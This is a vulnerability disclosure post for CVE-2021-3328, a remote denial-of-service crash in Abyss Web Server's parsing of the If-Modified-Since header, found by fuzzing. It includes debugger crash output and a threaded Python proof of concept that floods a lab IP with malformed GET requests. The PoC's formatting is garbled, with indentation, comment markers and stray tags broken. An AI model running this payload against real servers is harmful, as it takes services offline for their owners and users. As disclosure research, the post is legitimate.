CVE-2021-3328 - Abyss Web Server - Remote DoS

Hello,

recently I spent some time working on my HTTP fuzzer. Running it against affected version of Abyss Web Server it was possible to cause Denial of Service attack (the application crashed). Based on my analysis the bug is not exploitable.

Crash:

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Crash details:
(4768.5728): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Module load completed but symbols could not be loaded for C:\Abyss Web Server\abyssws.exe
abyssws+0x807db:
00000000`004807db 8a4601
                                         al, byte ptr [rsi+1] ds:00000000 00489b000=??
0:016> r
rax=0000000000000000 rbx=00000000076b3818 rcx=00000000053bfba0
rdx=0000000004899da8 rsi=00000000489afff rdi=0000000004899d38
rip=0000000004807db rsp=0000000053bfb00 rbp=00000000000000
r8=0000000004899a08 r9=00000000000000 r10=00000000004dbb72
r11=0000000004899d22 r12=0000000053bfba0 r13=00000000076b37c8
r14=00000000000000000 r15=0000000005db1f18
iopl=0
              nv up ei ng nz ac pe cy
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b
                                                                efl=00010293
abvssws+0x807db:
                                       al,byte ptr [rsi+1] ds:00000000`0489b000=??
00000000`004807db 8a4601
(ugly and dirty) PoC:
from threading import Thread
import requests
import socket
def cause_dos():
    for x in range(0,500):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("192.168.65.128" , 80))
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pingdata = """GET
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
//////////////////////////////////////
Accept: text/plain\r
Connection: Close\r
If-Modified-Since:
//////////////////////////////////////
Host: 192.168.65.128\r\n\r\n"""
<pre>data = pingdata.encode()</pre>
s.sendall(data)
Start all threads.
threads = []
for n in range(1,3):
<pre>t = Thread(target=cause_dos)</pre>
t.start()
threads.append(t)
Wait all threads to finish.
for t in threads:
t.join()

The problem is located in code which is responsible for parsing "If-Modified-Since" header.

Vendor was informed about this bug and we agreed not to release technical details before oficial patch is out. Props to Abyss security team for handling this report with care.

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